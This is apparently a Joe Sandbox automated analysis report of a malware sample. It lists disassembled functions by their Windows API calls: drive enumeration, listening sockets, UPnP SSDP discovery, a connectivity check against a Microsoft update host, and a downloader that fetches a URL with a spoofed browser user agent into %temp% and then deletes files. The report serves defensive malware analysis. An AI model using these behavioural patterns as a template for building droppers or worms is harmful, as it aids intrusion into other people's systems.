Part of subcall function 00406340: RegQueryValueExW.ADVAPI32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 004063C1
Part of subcall function 00406340: RegCloseKey.ADVAPI32(?), ref: 004063DE

Sleep.KERNEL32(000007D0), ref: 00406CCD

Part of subcall function 00406260: lstrcpyW.KERNEL32(?,?), ref: 004062B3

GetVolumeInformationW.KERNEL32(?,?,00000105,00000000,00000000,?,00000000,00000000), ref: 00406C0F
GetDiskFreeSpaceExW.KERNEL32(?,00000000,?,00000000), ref: 00406C24
_aulldiv.NTDLL(?,?,40000000,00000000), ref: 00406C3F
wsprintfW.USER32 ref: 00406C52
wsprintfW.USER32 ref: 00406C72
wsprintfW.USER32 ref: 00406C95

Strings

%s%s, xrefs: 00406C89
Unnamed volume, xrefs: 00406C66
(%dGB), xrefs: 00406C46

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Filewsprintf$CloseSleep$CreateDiskDrivesExitFreeHandleInformationLogicalModuleNameOpenQuerySizeSpaceThreadValueVolume_aulldivlstrcpy
String ID: (%dGB)$%s%s$Unnamed volume
API String ID: 1650488544-2117135753
Opcode ID: 6d9c390415530bf0d7068dac02101ca91c021f24dc2fb290cfd9444ed22e654c
Instruction ID: 453264953970db4b87c24ab6cdbfc4a104d47f91dccd03b52bb95ce70ceb3e7a
Opcode Fuzzy Hash: 6d9c390415530bf0d7068dac02101ca91c021f24dc2fb290cfd9444ed22e654c
Instruction Fuzzy Hash: E041A9B1940218BBE714DB94DD55FEE7378BB48700F0081BAF20AB61D0DA785B94CF6A

Function 00402020 Relevance: 16.6, APIs: 11, Instructions: 131networkCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?), ref: 00402043
InitializeCriticalSection.KERNEL32(00000020), ref: 00402057
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 00402065
CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000000,00000000), ref: 0040207E

Part of subcall function 0040D5E0: InitializeCriticalSection.KERNEL32(-00000004), ref: 0040D5FE

WSASocketA.WS2_32(00000002,00000001,00000006,00000000,00000000,00000001), ref: 004020AB
setsockopt.WS2_32 ref: 004020D1
htons.WS2_32(?), ref: 00402101
bind.WS2_32(?,0000FFFF,00000010), ref: 00402117
listen.WS2_32(?,7FFFFFFF), ref: 0040212F
WSACreateEvent.WS2_32 ref: 0040213A
WSAEventSelect.WS2_32(?,00000000,00000008), ref: 0040214E

Part of subcall function 0040D610: EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040D634
Part of subcall function 0040D610: CreateThread.KERNEL32(00000000,?,00000000,?,00000000,?), ref: 0040D68F
Part of subcall function 0040D610: GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040D6CC
Part of subcall function 0040D610: GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040D6D7
Part of subcall function 0040D610: DuplicateHandle.KERNEL32(00000000), ref: 0040D6DE
Part of subcall function 0040D610: LeaveCriticalSection.KERNEL32(-00000004), ref: 0040D6F2

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CreateCriticalSection$Event$CurrentInitializeProcess$CompletionDuplicateEnterHandleInfoLeavePortSelectSocketSystemThreadbindhtonslistensetsockopt
String ID:
API String ID: 1603358586-0
Opcode ID: a09a2fb70ac58d7a455ce99dedba2fb0f2ccef32fdecf11c004df1e88a2033b1
Instruction ID: 3d527d3106709ffe12c11fbc149f9fb6bead9182873b01420bf0fd5d4f043c35
Opcode Fuzzy Hash: a09a2fb70ac58d7a455ce99dedba2fb0f2ccef32fdecf11c004df1e88a2033b1
Instruction Fuzzy Hash: C441B070640301BBD3209F649D0AF4B77E4AF44720F108A2DF6A9EA6D4E7F4E445C75A

Function 0040DBC0 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 117networkstringCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000002,00000011), ref: 0040DBDA
htons.WS2_32(0000076C), ref: 0040DC10
inet_addr.WS2_32(239.255.255.250), ref: 0040DC1F
setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040DC3D

Part of subcall function 0040AF30: htons.WS2_32(00000050), ref: 0040AF5D
Part of subcall function 0040AF30: socket.WS2_32(00000002,00000001,00000000), ref: 0040AF7D
Part of subcall function 0040AF30: connect.WS2_32(000000FF,?,00000010), ref: 0040AF96
Part of subcall function 0040AF30: getsockname.WS2_32(000000FF,?,00000010), ref: 0040AFC8

bind.WS2_32(000000FF,?,00000010), ref: 0040DC73
lstrlenA.KERNEL32(00411C48,00000000,?,00000010), ref: 0040DC8C
sendto.WS2_32(000000FF,00411C48,00000000), ref: 0040DC9B
ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040DCB5

Part of subcall function 0040DD40: recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040DD8E
Part of subcall function 0040DD40: Sleep.KERNEL32(000003E8), ref: 0040DD9E
Part of subcall function 0040DD40: StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040DDBB
Part of subcall function 0040DD40: StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040DDD1
Part of subcall function 0040DD40: StrChrA.SHLWAPI(?,0000000D), ref: 0040DDFE

Strings

239.255.255.250, xrefs: 0040DC1A

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: htonssocket$Sleepbindconnectgetsocknameinet_addrioctlsocketlstrlenrecvfromsendtosetsockopt
String ID: 239.255.255.250
API String ID: 726339449-2186272203
Opcode ID: e3877ef1b52134d83e5684ab209baab9a63aea7bea6a3d9c299911e37c6d3f39
Instruction ID: ef7ed27ddc10e69a95ecf683d08ad8987f4418d9446925fcf09c3d01f5f265dc
Opcode Fuzzy Hash: e3877ef1b52134d83e5684ab209baab9a63aea7bea6a3d9c299911e37c6d3f39
Instruction Fuzzy Hash: 7141F8B4E10208ABDB14DFE4E889BEEBBB5EF48304F108169F505B7390E7B55A44CB59

Function 00401470 Relevance: 9.1, APIs: 6, Instructions: 89networkthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 004014B2
socket.WS2_32(00000002,00000002,00000011), ref: 004014C1
htons.WS2_32(?), ref: 00401508
setsockopt.WS2_32(?,0000FFFF), ref: 0040152A
bind.WS2_32(?,?,00000010), ref: 0040153B

Part of subcall function 00401330: SetEvent.KERNEL32(6856006A,00000000,?,0040143A,00000000,?,?,?,0040DA0D,00000000), ref: 00401346
Part of subcall function 00401330: WaitForSingleObject.KERNEL32(00401100,000000FF,?,0040143A,00000000,?,?,?,0040DA0D,00000000), ref: 00401352
Part of subcall function 00401330: CloseHandle.KERNEL32(00401100,?,0040143A,00000000,?,?,?,0040DA0D,00000000), ref: 0040135C

CreateThread.KERNEL32(00000000,00000000,00401100,00000000,00000000,00000000), ref: 00401569

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindhtonssetsockoptsocket
String ID:
API String ID: 4174406920-0
Opcode ID: e01990b2806d481bb9ed450513fecbcb8920a32bd929df83c4378d56477af31e
Instruction ID: ddf1df2f5e3c49f21769c3cd8a86baa6c810c68bf5de7ecead628d1f617bc177
Opcode Fuzzy Hash: e01990b2806d481bb9ed450513fecbcb8920a32bd929df83c4378d56477af31e
Instruction Fuzzy Hash: 72319571A44301AFE320DF649C4AF9BB6E0AF48B14F40493DF695EB2E0D3B5D544879A

Function 0040D1A0 Relevance: 9.1, APIs: 6, Instructions: 67sleepnetworkCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040D1B2
ioctlsocket.WS2_32(00000004,4004667F,00000000), ref: 0040D1D8
recv.WS2_32(00000004,00002710,000000FF,00000000), ref: 0040D20F
GetTickCount.KERNEL32 ref: 0040D224
Sleep.KERNEL32(00000001), ref: 0040D244
GetTickCount.KERNEL32 ref: 0040D24A

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CountTick$Sleepioctlsocketrecv
String ID:
API String ID: 107502007-0
Opcode ID: 077c42ecd2642622499ea3213999ab9bc2a668583e8a55166bb8840c59880b72
Instruction ID: d1d91ce4da814b9a63f0d024f91aac80a52589da6ae3f0e8ee31fa34877a49b5
Opcode Fuzzy Hash: 077c42ecd2642622499ea3213999ab9bc2a668583e8a55166bb8840c59880b72
Instruction Fuzzy Hash: 5A31CA74D00209EFCF04DFA4DA48AEE77B1FF44315F1086A9E825A7290D7749A94CB59

Function 0040AF30 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(00000050), ref: 0040AF5D

Part of subcall function 0040AEF0: inet_addr.WS2_32(0040AF71), ref: 0040AEFA
Part of subcall function 0040AEF0: gethostbyname.WS2_32(?), ref: 0040AF0D

socket.WS2_32(00000002,00000001,00000000), ref: 0040AF7D
connect.WS2_32(000000FF,?,00000010), ref: 0040AF96
getsockname.WS2_32(000000FF,?,00000010), ref: 0040AFC8

Strings

www.update.microsoft.com, xrefs: 0040AF67

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: connectgethostbynamegetsocknamehtonsinet_addrsocket
String ID: www.update.microsoft.com
API String ID: 4063137541-1705189816
Opcode ID: 4ae1ef7093756838ff96254105526815b724e83601429590a4066d3349afa6d4
Instruction ID: 8d2b89a1e3841e6cd000a2b550c173cff20965c169263ef180e6ea1a6d777d84
Opcode Fuzzy Hash: 4ae1ef7093756838ff96254105526815b724e83601429590a4066d3349afa6d4
Instruction Fuzzy Hash: D1213BB0E103099BCB04DFE8D946AEEBBB5AF08300F108169E504F7390E7745A44CBAA

Function 0040C330 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(~@,00000000,00000000,00000001,F0000040,?,?,0040C389,~@,00000004,?,?,0040C3BE,000000FF), ref: 0040C343
CryptGenRandom.ADVAPI32(~@,?,00000000,?,?,0040C389,~@,00000004,?,?,0040C3BE,000000FF), ref: 0040C359
CryptReleaseContext.ADVAPI32(~@,00000000,?,?,0040C389,~@,00000004,?,?,0040C3BE,000000FF), ref: 0040C365

Strings

~@, xrefs: 0040C33F, 0040C355, 0040C361, 0040C342, 0040C358, 0040C364

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Crypt$Context$AcquireRandomRelease
String ID: ~@
API String ID: 1815803762-592544116
Opcode ID: 115afb25b1a51c25259045811286537a4a8d93f4d7ebd8fa37951325938a193c
Instruction ID: 830194fa38359529e853ee3f0456384099f2f8dd9552bb81b1528bc6e0449336
Opcode Fuzzy Hash: 115afb25b1a51c25259045811286537a4a8d93f4d7ebd8fa37951325938a193c
Instruction Fuzzy Hash: B3E01275654208BBDB24CFE1EC49FDA776CAB48B00F108154FB09D7190DAB5EA409BA8

Function 004013B0 Relevance: 6.1, APIs: 4, Instructions: 63networkthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?,?,0040DA0D,00000000), ref: 004013D5
socket.WS2_32(00000002,00000002,00000011), ref: 004013E4
bind.WS2_32(?,?,00000010), ref: 00401429

Part of subcall function 00401330: SetEvent.KERNEL32(6856006A,00000000,?,0040143A,00000000,?,?,?,0040DA0D,00000000), ref: 00401346
Part of subcall function 00401330: WaitForSingleObject.KERNEL32(00401100,000000FF,?,0040143A,00000000,?,?,?,0040DA0D,00000000), ref: 00401352
Part of subcall function 00401330: CloseHandle.KERNEL32(00401100,?,0040143A,00000000,?,?,?,0040DA0D,00000000), ref: 0040135C

CreateThread.KERNEL32(00000000,00000000,00401100,00000000,00000000,00000000), ref: 00401459

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindsocket
String ID:
API String ID: 3943618503-0
Opcode ID: b639d9fe06152c2b402f412d2fb95bf7c84a2e2683d3c9481316ca8ef9ae7b76
Instruction ID: 1e7a4891c1a42a5318b19a32161f2d9e989c632f85172a1bcc985bb178a8dbbc
Opcode Fuzzy Hash: b639d9fe06152c2b402f412d2fb95bf7c84a2e2683d3c9481316ca8ef9ae7b76
Instruction Fuzzy Hash: 18119674A40710AFE3609F749C0AF877AE0AF04B14F50892DF699E62E1E2B49544878A

Function 00401C50 Relevance: 6.1, APIs: 4, Instructions: 59networksleepCOMMON

Download Yara Rule

APIs

WSARecv.WS2_32(?,?,00000001,?,?,?,00000000), ref: 00401C88
WSAGetLastError.WS2_32(?,?,004021A5,00000000), ref: 00401C90
Sleep.KERNEL32(00000001,?,?,004021A5,00000000), ref: 00401CA6
WSARecv.WS2_32(?,?,00000001,?,?,?,00000000), ref: 00401CCC

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Recv$ErrorLastSleep
String ID:
API String ID: 3668019968-0
Opcode ID: 115ea0e646e0c4f71d919f36be7c9bac7cbabd22de7b6b0e5f0bd0a6bc0a71ea
Instruction ID: df3cbe2ca7d05c2b70b960210cdf5b20c1916dde76b22b2cec88194eea221140
Opcode Fuzzy Hash: 115ea0e646e0c4f71d919f36be7c9bac7cbabd22de7b6b0e5f0bd0a6bc0a71ea
Instruction Fuzzy Hash: 6A11AD72148305AFD310CF65EC84AEBB7ECEB88710F40492AF945D2140E679E94997B6

Function 0040D950 Relevance: 3.0, APIs: 2, Instructions: 15timenativeCOMMON

Download Yara Rule

APIs

NtQuerySystemTime.NTDLL(0040B865), ref: 0040D95A
RtlTimeToSecondsSince1980.NTDLL ref: 0040D968

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Time$QuerySecondsSince1980System
String ID:
API String ID: 1987401769-0
Opcode ID: 0613ca7d0cb934da7a106d9058381de88b753c7355ee9c1788c1bc259270ea14
Instruction ID: 71f66deb3bce6efc95a111259a7627df0bb84068fda71d22670a2dc98323c2b1
Opcode Fuzzy Hash: 0613ca7d0cb934da7a106d9058381de88b753c7355ee9c1788c1bc259270ea14
Instruction Fuzzy Hash: 4FD09E79C4010DABCB04DBE4E849CDDB77CEA44201F0086D5AD1592150EAB066588B95

Function 00404090 Relevance: 1.7, Strings: 1, Instructions: 488COMMONLIBRARYCODE

Download Yara Rule

Strings

, xrefs: 0040411B

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 758c8ddec5ebc3f2fbc60252ee954f274e779d6146799bd0d90b894ddaeb8b1a
Instruction ID: 5fd1260cd0c1bb1f0d43ca887b35fd9fe7aa376b80e30ba4f5f1b1723d8df557
Opcode Fuzzy Hash: 758c8ddec5ebc3f2fbc60252ee954f274e779d6146799bd0d90b894ddaeb8b1a
Instruction Fuzzy Hash: 2C124FF5D00109ABCF14DF98D985AEFB7B5BB98304F10816DE609B7380D739AA41CBA5

Function 0040F589 Relevance: 1.7, APIs: 1, Instructions: 195nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 0040F63A

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: MemoryQueryVirtual
String ID:
API String ID: 2850889275-0
Opcode ID: f16b58d761c70c95d03f79e7966dae03a2d536073a04c8b8cccb22e3b2e6a59a
Instruction ID: 9733fa80924a8a5ad1036197057c78bb5b5de5c771e2c1a8e274ddcee5554a15
Opcode Fuzzy Hash: f16b58d761c70c95d03f79e7966dae03a2d536073a04c8b8cccb22e3b2e6a59a
Instruction Fuzzy Hash: 4661D7307006069FDB39CF29C99066A37A1EB95314F24853BD841E7AE1E77EDC4A878D

Function 0040A390 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcessHeaps.KERNEL32(000000FF,?), ref: 0040A3AC

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: HeapsProcess
String ID:
API String ID: 1420622215-0
Opcode ID: 5782e1b582b7a748a5e7f01d040a799827bb7b6b497027464f6411c4e1fb9ee6
Instruction ID: 6b1605b91c8b6ff823dfc00cf925f95a0a494f8de984c14b3e814ef03953d6f2
Opcode Fuzzy Hash: 5782e1b582b7a748a5e7f01d040a799827bb7b6b497027464f6411c4e1fb9ee6
Instruction Fuzzy Hash: 9C01DAB4904228CADB308F14D9887A9B774AB84304F1081FADB0977281C3B82ED6DF5E

Function 00407250 Relevance: 1.5, APIs: 1, Instructions: 23comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00000000,00000000,00004401,00000000,00000000), ref: 00407270

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: c09f913f08406f093c7ac86b5101c5a128e05d7496c9f4ec9220068c62795e96
Instruction ID: d63025b72d2c6ebaad53fa266f334e56fbfbf26be99018a77b0022b5cf711e38
Opcode Fuzzy Hash: c09f913f08406f093c7ac86b5101c5a128e05d7496c9f4ec9220068c62795e96
Instruction Fuzzy Hash: 5FE0C97490120CBFDB40DF90C889B9EBBB8AB08315F1081A9E90467280D7B96A948BA5

Function 0040A9B0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90bc740f41516614e506d1ac5d80d669bcd439495ae7d3b12d326e627af75817
Instruction ID: 36ccf00cb4992cb664799e326c06744a6ce95946d15b2f63e00e690a3ab10e8b
Opcode Fuzzy Hash: 90bc740f41516614e506d1ac5d80d669bcd439495ae7d3b12d326e627af75817
Instruction Fuzzy Hash: CB128CB4D002199FCB48CF99D991AAEFBB2BF88300F24856AE415BB355D734AA11CF54

Function 0040F34C Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 055ce3a16072e11c5b5b43c4deef216cb34a050bfe9534eea9d89275913ec06d
Instruction ID: fc58f75cabc9a556b6370791a68136b0cd82658c142e2e8a3fcd10fa8d82b043
Opcode Fuzzy Hash: 055ce3a16072e11c5b5b43c4deef216cb34a050bfe9534eea9d89275913ec06d
Instruction Fuzzy Hash: B921B872900204AFC720DF69C8C09A7B7A5FF45360B468179ED55AB686D734F919C7E0

Function 0040EF90 Relevance: 75.5, APIs: 37, Strings: 6, Instructions: 235
filesleepnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040EF99
srand.MSVCRT ref: 0040EFA0
ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 0040EFC0
strlen.NTDLL ref: 0040EFCA
mbstowcs.NTDLL ref: 0040EFE1
rand.MSVCRT ref: 0040EFE9
rand.MSVCRT ref: 0040EFFD
wsprintfW.USER32 ref: 0040F024
InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36,00000000,00000000,00000000,00000000), ref: 0040F03A
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040F069
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040F098
InternetReadFile.WININET(00000000,?,00000103,?), ref: 0040F0CB
WriteFile.KERNEL32(000000FF,?,00000000,?,00000000), ref: 0040F0FC
CloseHandle.KERNEL32(000000FF), ref: 0040F10B
wsprintfW.USER32 ref: 0040F124
DeleteFileW.KERNEL32(?), ref: 0040F134
Sleep.KERNEL32(000003E8), ref: 0040F13F
Sleep.KERNEL32(000007D0), ref: 0040F160
ExitProcess.KERNEL32 ref: 0040F188
DeleteFileW.KERNEL32(?), ref: 0040F19E
CloseHandle.KERNEL32(000000FF), ref: 0040F1AB
InternetCloseHandle.WININET(00000000), ref: 0040F1B8
InternetCloseHandle.WININET(00000000), ref: 0040F1C5
Sleep.KERNEL32(000003E8), ref: 0040F1D0
rand.MSVCRT ref: 0040F1E5
Sleep.KERNEL32 ref: 0040F1FC
rand.MSVCRT ref: 0040F202
